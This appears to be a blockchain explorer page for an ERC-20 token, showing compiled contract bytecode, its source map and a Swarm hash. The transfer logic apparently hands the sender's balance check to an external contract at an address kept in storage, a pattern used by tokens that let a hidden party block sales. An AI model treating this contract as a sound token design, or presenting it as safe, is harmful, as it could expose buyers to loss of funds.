60209081526040808320938616835292905220545f198114610536578181101561052857604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016103a1565b61053684848484035f610617565b50505050565b6001600160a01b03831661056557604051634b637e8f60e11b81525f60048201526024016103a1565b6001600160a01b03821661058e5760405163ec442f0560e01b81525f60048201526024016103a1565b6103c38383836106e9565b6007546001600160a01b031633146103565760405163118cdaa760e01b81523360048201526024016103a1565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0384166106405760405163e602df0560e01b81525f60048201526024016103a1565b6001600160a01b03831661066957604051634a1406b160e11b81525f60048201526024016103a1565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561053657826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106db91815260200190565b60405180910390a350505050565b6001600160a01b038316610713578060035f8282546107089190610a40565b909155506107ac9050565b5f63829e060560e01b90505f806040518381528660048201525f60248201526020608082016044835f6004545af19250821561075157608081015191505b508381101561078c5760405163391434e360e21b81526001600160a01b038716600482015260248101829052604481018590526064016103a1565b6001600160a01b0386165f90815260208190526040902090849003905550505b6001600160a01b0382166107c8576003805482900390556107e6565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161082b91815260200190565b60405180910390a3505050565b5f81518084525f5b8181101561085c57602081850181015186830182015201610840565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f61088d6020830184610838565b9392505050565b80356001600160a01b03811681146108aa575f80fd5b919050565b5f80604083850312156108c0575f80fd5b6108c983610894565b946020939093013593505050565b5f80602083850312156108e8575f80fd5b823567ffffffffffffffff808211156108ff575f80fd5b818501915085601f830112610912575f80fd5b813581811115610920575f80fd5b8660208260051b8501011115610934575f80fd5b60209290920196919550909350505050565b5f805f60608486031215610958575f80fd5b61096184610894565b925061096f60208501610894565b9150604084013590509250925092565b5f6020828403121561098f575f80fd5b61088d82610894565b5f80604083850312156109a9575f80fd5b6109b283610894565b91506109c060208401610894565b90509250929050565b600181811c908216806109dd57607f821691505b6020821081036109fb57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b6001600160a01b03831681526040602082018190525f90610a3890830184610838565b949350505050565b808201808211156102ad57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220904f3636feb755303bd9e92f981a2762cb93a2ed4bdd19f9a87d6ab61cc98b9464736f6c63430008140033
Deployed Bytecode Sourcemap
26385:341:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15437:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17770:222;;;;;;:::i;:::-;;:::i;:::-;;;1269:14:1;;1262:22;1244:41;;1232:2;1217:18;17770:222:0;1104:187:1;25606:468:0;;;;;;:::i;:::-;;:::i;:::-;;16538:99;16617:12;;16538:99;;;2062:25:1;;;2050:2;2035:18;16538:99:0;1916:177:1;18570:283:0;;;;;;:::i;:::-;;:::i;16390:83::-;;;16464:1;2573:36:1;;2561:2;2546:18;16390:83:0;2431:184:1;16700:118:0;;;;;;:::i;:::-;-1:-1:-1;;;;;16792:18:0;16765:7;16792:18;;;;;;;;;;;;16700:118;9450:103;;;:::i;8775:87::-;8848:6;;8775:87;;-1:-1:-1;;;;;8848:6:0;;;2957:51:1;;2945:2;2930:18;8775:87:0;2811:203:1;15647:95:0;;;:::i;17023:182::-;;;;;;:::i;:::-;;:::i;17268:183::-;;;;;;:::i;:::-;-1:-1:-1;;;;;17416:18:0;;;17384:7;17416:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;17268:183;9708:220;;;;;;:::i;:::-;;:::i;15437:91::-;15482:13;15515:5;15508:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15437:91;:::o;17770:222::-;17870:4;7105:10;17931:31;7105:10;17947:7;17956:5;17931:8;:31::i;:::-;17980:4;17973:11;;;17770:222;;;;;:::o;25606:468::-;25668:9;25679:12;25693;25709:26;25721:3;;25725:1;25721:6;;;;;;;:::i;:::-;;;;;;;25728:3;;25732:1;25728:6;;;;;;;:::i;:::-;;;;;;;25709:11;:26::i;:::-;25667:68;;;;;;25751:4;25746:18;;25757:7;;;25606:468;;:::o;25746:18::-;25810:27;25854:11;;25851:205;;25920:1;25941:15;;;25974:19;;;26031:2;26018:16;;26011:30;;;25851:205;;25783:284;;;25606:468;;:::o;18570:283::-;18691:4;7105:10;18749:37;18765:4;7105:10;18780:5;18749:15;:37::i;:::-;18797:26;18807:4;18813:2;18817:5;18797:9;:26::i;:::-;-1:-1:-1;18841:4:0;;18570:283;-1:-1:-1;;;;18570:283:0:o;9450:103::-;8661:13;:11;:13::i;:::-;9515:30:::1;9542:1;9515:18;:30::i;:::-;9450:103::o:0;15647:95::-;15694:13;15727:7;15720:14;;;;;:::i;17023:182::-;17092:4;7105:10;17148:27;7105:10;17165:2;17169:5;17148:9;:27::i;9708:220::-;8661:13;:11;:13::i;:::-;-1:-1:-1;;;;;9793:22:0;::::1;9789:93;;9839:31;::::0;-1:-1:-1;;;9839:31:0;;9867:1:::1;9839:31;::::0;::::1;2957:51:1::0;2930:18;;9839:31:0::1;;;;;;;;9789:93;9892:28;9911:8;9892:18;:28::i;:::-;9708:220:::0;:::o;23202:164::-;23321:37;23330:5;23337:7;23346:5;23353:4;23321:8;:37::i;:::-;23202:164;;;:::o;26082:296::-;26152:4;26157:7;26165;26184:12;26199:10;26184:25;;26220:18;26241:7;26220:28;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;26259:9:0;26316:18;;;:6;:18;;;;;;;26289:22;26220:28;;-1:-1:-1;26259:9:0;;26316:18;;-1:-1:-1;26289:22:0;;-1:-1:-1;26300:4:0;;-1:-1:-1;26220:28:0;;26289:22;;:::i;:::-;;;;;;;-1:-1:-1;;26289:22:0;;;;;;26279:33;;26289:22;26279:33;;;;26271:63;;26082:296;-1:-1:-1;;;;;;26082:296:0:o;24995:603::-;-1:-1:-1;;;;;17416:18:0;;;25129:24;17416:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;25196:37:0;;25192:399;;25273:5;25254:16;:24;25250:214;;;25306:142;;-1:-1:-1;;;25306:142:0;;-1:-1:-1;;;;;4343:32:1;;25306:142:0;;;4325:51:1;4392:18;;;4385:34;;;4435:18;;;4428:34;;;4298:18;;25306:142:0;4123:345:1;25250:214:0;25507:57;25516:5;25523:7;25551:5;25532:16;:24;25558:5;25507:8;:57::i;:::-;25118:480;24995:603;;;:::o;19238:342::-;-1:-1:-1;;;;;19356:18:0;;19352:88;;19398:30;;-1:-1:-1;;;19398:30:0;;19425:1;19398:30;;;2957:51:1;2930:18;;19398:30:0;2811:203:1;19352:88:0;-1:-1:-1;;;;;19454:16:0;;19450:88;;19494:32;;-1:-1:-1;;;19494:32:0;;19523:1;19494:32;;;2957:51:1;2930:18;;19494:32:0;2811:203:1;19450:88:0;19548:24;19556:4;19562:2;19566:5;19548:7;:24::i;8940:166::-;8848:6;;-1:-1:-1;;;;;8848:6:0;7105:10;9000:23;8996:103;;9047:40;;-1:-1:-1;;;9047:40:0;;7105:10;9047:40;;;2957:51:1;2930:18;;9047:40:0;2811:203:1;10088:191:0;10181:6;;;-1:-1:-1;;;;;10198:17:0;;;-1:-1:-1;;;;;;10198:17:0;;;;;;;10231:40;;10181:6;;;10198:17;10181:6;;10231:40;;10162:16;;10231:40;10151:128;10088:191;:::o;24217:486::-;-1:-1:-1;;;;;24373:19:0;;24369:91;;24416:32;;-1:-1:-1;;;24416:32:0;;24445:1;24416:32;;;2957:51:1;2930:18;;24416:32:0;2811:203:1;24369:91:0;-1:-1:-1;;;;;24474:21:0;;24470:92;;24519:31;;-1:-1:-1;;;24519:31:0;;24547:1;24519:31;;;2957:51:1;2930:18;;24519:31:0;2811:203:1;24470:92:0;-1:-1:-1;;;;;24572:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;24618:78;;;;24669:7;-1:-1:-1;;;;;24653:31:0;24662:5;-1:-1:-1;;;;;24653:31:0;;24678:5;24653:31;;;;2062:25:1;;2050:2;2035:18;;1916:177;24653:31:0;;;;;;;;24217:486;;;;:::o;19904:1636::-;-1:-1:-1;;;;;20028:18:0;;20024:1019;;20182:5;20166:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;20024:1019:0;;-1:-1:-1;20024:1019:0;;20220:10;20240;20233:18;;20220:31;;20266:6;20287:19;20371:4;20365:11;20411:3;20401:8;20394:21;20461:4;20454;20444:8;20440:19;20433:33;20512:1;20505:4;20495:8;20491:19;20484:30;20599:4;20593;20583:8;20579:19;20574:4;20565:8;20563:1;20554:7;20548:14;20542:5;20537:67;20532:72;;20625:1;20622:88;;;20685:4;20675:8;20671:19;20665:26;20650:41;;20622:88;;20757:5;20743:11;:19;20739:117;;;20790:50;;-1:-1:-1;;;20790:50:0;;-1:-1:-1;;;;;4343:32:1;;20790:50:0;;;4325:51:1;4392:18;;;4385:34;;;4435:18;;;4428:34;;;4298:18;;20790:50:0;4123:345:1;20739:117:0;-1:-1:-1;;;;;20979:15:0;;:9;:15;;;;;;;;;;20997:19;;;;20979:37;;-1:-1:-1;;20024:1019:0;-1:-1:-1;;;;;21059:16:0;;21055:435;;21225:12;:21;;;;;;;21055:435;;;-1:-1:-1;;;;;21441:13:0;;:9;:13;;;;;;;;;;:22;;;;;;21055:435;21522:2;-1:-1:-1;;;;;21507:25:0;21516:4;-1:-1:-1;;;;;21507:25:0;;21526:5;21507:25;;;;2062::1;;2050:2;2035:18;;1916:177;21507:25:0;;;;;;;;19904:1636;;;:::o;14:423:1:-;56:3;94:5;88:12;121:6;116:3;109:19;146:1;156:162;170:6;167:1;164:13;156:162;;;232:4;288:13;;;284:22;;278:29;260:11;;;256:20;;249:59;185:12;156:162;;;160:3;363:1;356:4;347:6;342:3;338:16;334:27;327:38;426:4;419:2;415:7;410:2;402:6;398:15;394:29;389:3;385:39;381:50;374:57;;;14:423;;;;:::o;442:220::-;591:2;580:9;573:21;554:4;611:45;652:2;641:9;637:18;629:6;611:45;:::i;:::-;603:53;442:220;-1:-1:-1;;;442:220:1:o;667:173::-;735:20;;-1:-1:-1;;;;;784:31:1;;774:42;;764:70;;830:1;827;820:12;764:70;667:173;;;:::o;845:254::-;913:6;921;974:2;962:9;953:7;949:23;945:32;942:52;;;990:1;987;980:12;942:52;1013:29;1032:9;1013:29;:::i;:::-;1003:39;1089:2;1074:18;;;;1061:32;;-1:-1:-1;;;845:254:1:o;1296:615::-;1382:6;1390;1443:2;1431:9;1422:7;1418:23;1414:32;1411:52;;;1459:1;1456;1449:12;1411:52;1499:9;1486:23;1528:18;1569:2;1561:6;1558:14;1555:34;;;1585:1;1582;1575:12;1555:34;1623:6;1612:9;1608:22;1598:32;;1668:7;1661:4;1657:2;1653:13;1649:27;1639:55;;1690:1;1687;1680:12;1639:55;1730:2;1717:16;1756:2;1748:6;1745:14;1742:34;;;1772:1;1769;1762:12;1742:34;1825:7;1820:2;1810:6;1807:1;1803:14;1799:2;1795:23;1791:32;1788:45;1785:65;;;1846:1;1843;1836:12;1785:65;1877:2;1869:11;;;;;1899:6;;-1:-1:-1;1296:615:1;;-1:-1:-1;;;;1296:615:1:o;2098:328::-;2175:6;2183;2191;2244:2;2232:9;2223:7;2219:23;2215:32;2212:52;;;2260:1;2257;2250:12;2212:52;2283:29;2302:9;2283:29;:::i;:::-;2273:39;;2331:38;2365:2;2354:9;2350:18;2331:38;:::i;:::-;2321:48;;2416:2;2405:9;2401:18;2388:32;2378:42;;2098:328;;;;;:::o;2620:186::-;2679:6;2732:2;2720:9;2711:7;2707:23;2703:32;2700:52;;;2748:1;2745;2738:12;2700:52;2771:29;2790:9;2771:29;:::i;3019:260::-;3087:6;3095;3148:2;3136:9;3127:7;3123:23;3119:32;3116:52;;;3164:1;3161;3154:12;3116:52;3187:29;3206:9;3187:29;:::i;:::-;3177:39;;3235:38;3269:2;3258:9;3254:18;3235:38;:::i;:::-;3225:48;;3019:260;;;;;:::o;3284:380::-;3363:1;3359:12;;;;3406;;;3427:61;;3481:4;3473:6;3469:17;3459:27;;3427:61;3534:2;3526:6;3523:14;3503:18;3500:38;3497:161;;3580:10;3575:3;3571:20;3568:1;3561:31;3615:4;3612:1;3605:15;3643:4;3640:1;3633:15;3497:161;;3284:380;;;:::o;3669:127::-;3730:10;3725:3;3721:20;3718:1;3711:31;3761:4;3758:1;3751:15;3785:4;3782:1;3775:15;3801:317;-1:-1:-1;;;;;3978:32:1;;3960:51;;4047:2;4042;4027:18;;4020:30;;;-1:-1:-1;;4067:45:1;;4093:18;;4085:6;4067:45;:::i;:::-;4059:53;3801:317;-1:-1:-1;;;;3801:317:1:o;4473:222::-;4538:9;;;4559:10;;;4556:133;;;4611:10;4606:3;4602:20;4599:1;4592:31;4646:4;4643:1;4636:15;4674:4;4671:1;4664:15
Swarm Source
ipfs://904f3636feb755303bd9e92f981a2762cb93a2ed4bdd19f9a87d6ab61cc98b94
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.